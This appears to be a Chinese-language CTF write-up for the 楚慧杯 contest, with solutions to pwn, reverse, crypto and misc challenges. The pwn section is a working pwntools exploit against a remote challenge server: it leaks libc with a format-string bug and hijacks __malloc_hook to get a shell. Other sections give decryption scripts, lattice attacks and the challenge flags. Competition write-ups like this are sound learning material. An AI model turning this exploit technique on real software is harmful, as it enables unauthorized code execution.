前言

去年打过一次楚慧杯,由于知识基础不扎实,爆零坐牢了一天。想着今年冲一下看看,结果又被打爆了,真的是高手如云,还得在练。这里分享一下我在本次比赛中的解题记过程。

pwn

house_1

保护全开,libc是2.31版本。给了fmt洞,拿到libc地址,吧malloc_hook算出。

然后用fmtstr_payload直接劫持malloc_hook为ogg即可

当然还有打法2,可以利用read中的全局变量来 打rop链,更加简单

from pwn import *
context(os='linux', arch='amd64', log_level='debug')
#p = process('./pwn')
p = remote('45.40.247.139',22356)
libc = ELF('./libc.so.6')
def xilker(x, code=95):
    return f"\x1b[{code}m{x}\x1b[0m"


p.recvuntil(">> ")
p.sendline(b'2')
pay = b'%21$p-%26$p'
#gdb.attach(p, 'b *$rebase(0x139B)')
p.sendline(pay)

p.recvuntil("the name is:\n")
leak_data = p.recvline().strip().split(b'-')

libc_base = int(leak_data[0], 16) - 0x24083
log.success(xilker(f'lbic_base-->{hex(libc_base)}'))
base = int(leak_data[1], 16) - 0x14A0
log.success(xilker(f'base-->{hex(base)}'))
libc.address = libc_base
malloc_hook = libc.sym['__malloc_hook']

one_gadget = libc_base + 0xe3b01  # 0x,  0xe3b04
log.success(xilker(f'lbic_base-->{hex(malloc_hook)}'))

def fmt_write(addr, value):
    p.recvuntil(">> ")
    p.sendline(b'2')
    pay = fmtstr_payload(6, {addr: value}, write_size='short')
    p.sendlineafter("Please write your name:\n", pay)

fmt_write(malloc_hook, one_gadget & 0xffff)
fmt_write(malloc_hook + 2, (one_gadget >> 16) & 0xffff)
#gdb.attach(p, 'b *$rebase(0x139B)')
fmt_write(malloc_hook + 4, (one_gadget >> 32) & 0xffff)
p.recvuntil(">> ")
p.sendline(b'1')
p.interactive()


Reverse

眼见为虚_1

一看题目,逆向手第一反应肯定就能想到TLS回调或者SMC,看一眼tlscallback,发现没逻辑调用

主逻辑很简单

两个tls都会走这个函数里面也是正常的

跟一下主函数的key_create部分,发现这里构造两个虚表函数调用 两个函数是一个魔改tea,一个是异或的某种处理,是一个经典的C++ 构造函数

可以看到input后会call rdx,这里调用的是2A18函数,也就是先进行了魔改tea加密,num是每轮加不是减

此时来到第二个call edx, 这里此时调用的函数是2AFC

和上面静态看到的一模一样,直接逆向先进行tea加密得到mask在拿着mask异或密文得到明文


逻辑就是 四个常量算出 32 轮后的 State。[vtable+0] -> sub_402A18然后在取前8字节Mask然后与输入进行异或[vtable+4] -> sub_402AFC,逆向就是与密文异或得到真实flag

import struct

# sub_402B68 中的 10 个 dword 常量
vals = [
    32003635,
    -1545304977,
    646869827,
    -1577193378,
    545813781,
    -1515805688,
    596145429,
    -251989923,
    1977512257,
    -386293495,
]

target = b''.join(struct.pack('<I', x & 0xffffffff) for x in vals)[:40]

# 初始状态
v0 = 0x18274A3A
v1 = 0x24F8D42F

# 4 个 key
k0 = 0x9C8793BF
k1 = 0xBB5C1044
k2 = 0x2FEA4F74
k3 = 0xA142ED8B

# sub_402A18
s = 0
for _ in range(32):
    v0 = (v0 + (((v1 + s) ^ ((v1 << 4) + k0) ^ ((v1 >> 5) + k1)))) & 0xffffffff
    s = (s + 0xDEADBEEF) & 0xffffffff
    v1 = (v1 - (((v0 + s) ^ ((v0 << 4) + k2) ^ ((v0 >> 5) + k3)))) & 0xffffffff

state = struct.pack('<II', v0, v1)

# sub_402AFC 的掩码
mask = bytes(((b + 0x1B) & 0xff) for b in state)

# 逆异或
plain = bytes(target[i] ^ mask[i % 8] for i in range(40))

print(plain.decode())
print("inner =", plain.decode()[7:-1])


eazy_code-new

超级powershell混淆

${-``}
${$%}
.${-``}

${$%}${``*%}${``*%}

前半部分

  • ${]} = 0
  • ${!;*} = 1
  • ${*@ } = 2
  • ${=$``} = 3
  • ${ ]} = 4
  • ${!} = 5
  • ${#.} = 6
  • ${(} = 7
  • ${)``} = 8
  • ${``*%} = 9

${$%} 被拼成了 [char] 它们转回 ASCII 后 就可以看到真实逻辑,其中有个e()函数是tea系列,密文是ans

ans=[1374278842, 2136006540, 4191056815, 3248881376]
flag=input('Please input flag:')
res=check(flag,ans)
if res:
    print("Flag is DASCTF{your_input}!")

写脚本解密即可

DELTA = 0x87654321
KEY = [0x67452301, 0xefcdab89, 0x98badcfe, 0x10325476]

def MX(z, y, total, key, p, e):
    return ((((z >> 6) ^ ((y << 4) & 0xffffffff)) +
             ((y >> 2) ^ ((z << 5) & 0xffffffff))) ^
            (((total ^ y) + (key[(p & 3) ^ e] ^ z)) & 0xffffffff)) & 0xffffffff

def decrypt(v):
    v = v[:]
    n = len(v)
    rounds = 6 + 52 // n
    total = (rounds * DELTA) & 0xffffffff
    y = v[0]

    while total != 0:
        e = (total >> 2) & 3
        for p in range(n - 1, 0, -1):
            z = v[p - 1]
            y = (v[p] - MX(z, y, total, KEY, p, e)) & 0xffffffff
            v[p] = y
        z = v[n - 1]
        y = (v[0] - MX(z, y, total, KEY, 0, e)) & 0xffffffff
        v[0] = y
        total = (total - DELTA) & 0xffffffff
    return v

ans = [1374278842, 2136006540, 4191056815, 3248881376]
plain = decrypt(ans)
s = b''.join(x.to_bytes(4, 'little') for x in plain)
print(s.decode())

# yOUar3g0oD@tPw5H

CRYPTO


Flip

类 DSA 的签名方案,但在模p下直接进行运算,i 是循环索引 (0 到 4),r和 s 是已知的签名对 ,d 是我们要寻找的 Flag。由于 部分比特已知 y_m 非常小(远小于 p),为格基规约(Lattice Reduction)提供了空间。

消去未知数 减少格的维度,利用 时的方程消去 :由 得:。代入 的方程:。

最终得到:。接着我们将 平移到中心

设 ,在整数格中我们取 ,使得 。

格基矩阵 B 的构造我们需要构造一个包含 个微小变量 (5 组签名 32 字节)以及 4 个模数进位项 的格。

目标是寻找一个短向量,使得满足:​

# 题目提供的输出数据
p = 71100374110712069688668891376502810245640088780564855438789152163485489371751
sigs = [
    (28285613871231310640779639473901158789539111552315215487796222768188014946190, 26227626146853365468070394748025813676883717455365705026242089396817666141149),
    (26126343100952318312992351606027346470307966676167073519850533997742307763173, 14620119507969980035515863104967829444815591632534197769232561325577348982289),
    (6275780641102104914321094704687354889900656957520025439748906503860424049255, 17138154832682193571532283943639841813795519294633367500729430287205754722383),
    (70074830218018060401156682458161679247596227822712273801560023880579237944207, 7241759400261146571231207923652617524886465143836459562831120970876560955603),
    (58010164614616186321967235608825740148005793483553468415042960153988671899689, 11042506367122208018546854524444698969622593890076172637272391555458027253012)
]

U, V = [], []
for i in range(5):
    r, s = sigs[i]
    r_inv = inverse_mod(r, p)
    U.append((s * r_inv) % p)
    V.append((i * r_inv) % p)

M, N = [], []
for i in range(5):
    u_inv = inverse_mod(U[i], p)
    M.append((U[0] * u_inv) % p)
    N.append(((V[i] - V[0]) * u_inv) % p)

K_base = sum(168 * (2**(8*m)) for m in range(32))
S = sum(3 * (2**(8*m)) for m in range(32))

W_prime = []
for i in range(5):
    W_i = (M[i] * K_base + N[i] - K_base) % p
    W_prime.append((W_i + M[i]*S - S) % p)

dim = 32 + 4 * 32 + 4 + 1
B = matrix(ZZ, dim, dim)
# 修正 1:降低惩罚系数防止浮点精度溢出
K = 2**64  

for j in range(32):
    B[j, j] = 1
    for eq in range(1, 5):
        col = 160 + eq - 1
        B[j, col] = -((M[eq] * (2**(8*j))) % p) * K

for j in range(32, 160):
    B[j, j] = 1
    i = (j - 32) // 32 + 1
    m = (j - 32) % 32
    col = 160 + i - 1
    B[j, col] = (2**(8*m)) * K

for j in range(160, 164):
    eq = j - 159
    col = 160 + eq - 1
    B[j, col] = p * K

B[164, 164] = 1
for eq in range(1, 5):
    col = 160 + eq - 1
    B[164, col] = -W_prime[eq] * K

print("正在运行 BKZ 强力规约,大概需要 30 秒到 1 分钟...")
# 修正 2:使用 BKZ 代替基础 LLL
B_red = B.BKZ(block_size=20) 

found = False
for row in B_red:
    if row[-1] in [1, -1]:
        if row[-1] == -1:
            row = -row
        z0 = [row[j] for j in range(32)]
        
        # 宽容度检查,考虑到格基规约可能存在的微小波动
        if all(-4 <= z <= 5 for z in z0):
            print("=> 成功揪出目标向量!")
            y0 = [round(z) + 3 for z in z0]
            k0 = K_base + sum(y0[m] * (2**(8*m)) for m in range(32))
            
            r0, s0 = sigs[0]
            d = (k0 * s0) % p * inverse_mod(r0, p) % p
            
            d_int = int(d)
            flag_bytes = d_int.to_bytes((d_int.bit_length() + 7) // 8, 'big')
            print("=> 解析出的内部字符:", flag_bytes)
            found = True
            break

if not found:
    print("未匹配到严格条件,打印前两个向量的头部数据供调试:")
    for row in B_red[:2]:
        print([row[j] for j in range(5)], "..., 尾部:", row[-1])

可以解出其中的flag

GCD,杠上了

正交格攻击 我们可以通过构造正交格(Orthogonal Lattice Attack)来抹去 的影响,直接还原出 。

找到一组整数系数 ,使得 ,那么:因为 p 是一个极大的数,而误差项总和相对较小,要使得这个等式成立,可以得到:

构造如下矩阵进行 LLL 规约:

经过 LLL 规约后,矩阵的前 行就是我们找到的线性组合关系(即 向量)。因为这些 向量都满足 (即 与 正交),将这些 向量拼成一个矩阵,求它的右零空间。该零空间的一维基底就是我们寻找的 向量的整数倍(通常直接就是 )。

恢复 :拿到 后,直接使用 并四舍五入,就能剥离掉误差 ,还原出目标 。

​

根据题目要求,计算出正确的flag

from hashlib import sha256

XS = [
    7286602644894347905698877185006886062766603336098651145708618257426896498601438194818405176376998357154846239925108795918211744886731571266744871908463835351995189784312085830285088365342080806811314047882453402592133074499069282870744236160215512216478789267594028132748508140080189837224089073913522991827904722259140858601642592466315776021315586438508197663608590812749450817365064347439560883042009204050351693713820588889060849655679914847278675752145553961823946981967169055185529737402521407509263021789077125016742255715760,
    5230952259217719373451288600605694729007492237169927997823214951918450708970497355235418799314073627589124050832789070592194142892137496197782948844507440729494129127326826986001351848921996887252514377638280576136864865587600778883326741625167048874313825133026683820914940523608112111525189712638841735445342804486682657815023936771511350194415118747576763915047759919721983363867337811246200882629774305946208917774071048260034384488337583881876926649372038650806406479863141932268756290007122767070707541568217633666823942767630,
    6634396750920568285608095346195329118689097605994669634518316951192506731923068736273476052320642960726963932454848348066913054010051606781532862880707753022193473836326795829631429615685808176184842533562632931011621810840291571855376807721443083529317792844472049240727433533493468591987710033174905312247446273166915934371589745530975428330655972863314230695429710915699801228301493075605786710443768747383021956670013493099376120239576125225920151034511467122583704756994064073049424978126007943448882667862038745782477628408003,
    5206967518961960112660221968771713864784691153181370679825018817838185859421615186098940654940704354246503769468859488659689494119991783464734247926184421441233523723102514720513272413216800777125028472595562428391474002300021110853098159434700293331046532929525141162455736314162160456306022511785772125837018470201639642987557826155895644564724745314165471429499074795110110906392223770428469036209454246746770408469494816865235942622698472278595153047673886819995225231883995391098290313071949911543891398398297286813045525879691,
]

k = len(XS)
ETA = 768
# SageMath 中求 bit_length 使用 .nbits()
N = 1 << (max(Integer(x).nbits() for x in XS) + ETA + 1)

M = matrix(ZZ, k + 1, k + 1)
for i in range(k):
    M[i, i] = 1
    M[i, k] = XS[i]
M[k, k] = N

L = M.LLL()

# 3. 提取前 k-1 行的正交向量关系,并丢弃最后一列(误差列)
short_rows = L[:k-1, :k]

# 4. 关键点:求这 k-1 个短向量的右零空间(Right Kernel)
# 零空间的基础向量就是各个 X_i 对应的 q_i
ker = short_rows.right_kernel().basis()[0]

# 取出 q0(取绝对值避免符号偏差)
q0 = abs(ker[0])

# 5. 计算目标 p 
# x = p*q + e,做除法并四舍五入抹平 e
p = round(XS[0] / q0)

print(f"p = {p}")

# 校验并输出 flag
flag = f"DASCTF{{{sha256(hex(p).encode()).hexdigest()[:32]}}}"
print(f"flag: {flag}")



misc

go-gane

一开始给的exe是一个自解压的程序,里面套了一个exe,010打开在末尾看到了

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

with open("gamego.exe", "rb") as f:
    data = f.read()

pos = data.find(b"MSCF")
if pos == -1:
    raise SystemExit("[-] CAB header 'MSCF' not found")

with open("payload.cab", "wb") as f:
    f.write(data[pos:])

print(f"[+] CAB extracted at offset 0x{pos:x} -> payload.cab")

7z提出来游戏文件,搜一下文件目录结构可以知道是RPG Maker VX Ace 项目

.rvdata2 文件本质上是 RPG Maker 使用 Ruby Marshal 序列化后的二进制资源

搜一下资料可以知道,一般来说:

  • 地图事件:MapXXX.rvdata2
  • 常藏提示、对话、机关逻辑;
  • 脚本:Scripts.rvdata2
  • 常藏自定义 flag 生成逻辑;
  • 数据库:Weapons/Items/Actors 等
  • 常直接塞字符串。

接着玩一下游戏退出就能拿到后半部分flag, 示里已经明确说了不是标准 UUID 格式 ,所以我们需要找前半部分flag

定位到这个文件

先fuzz一下看看有没有有用信息,结果直接发现了flag前半部分

或者ruby脚本看

ruby - <<'RUBY'
data = Marshal.load(File.binread('Data/Weapons.rvdata2'))
obj = data.compact.first
p obj.class
p obj.instance_variables
RUBY

拼接即可

DASCTF{1168cb17-31ff-43b7--b586-8414d383afce}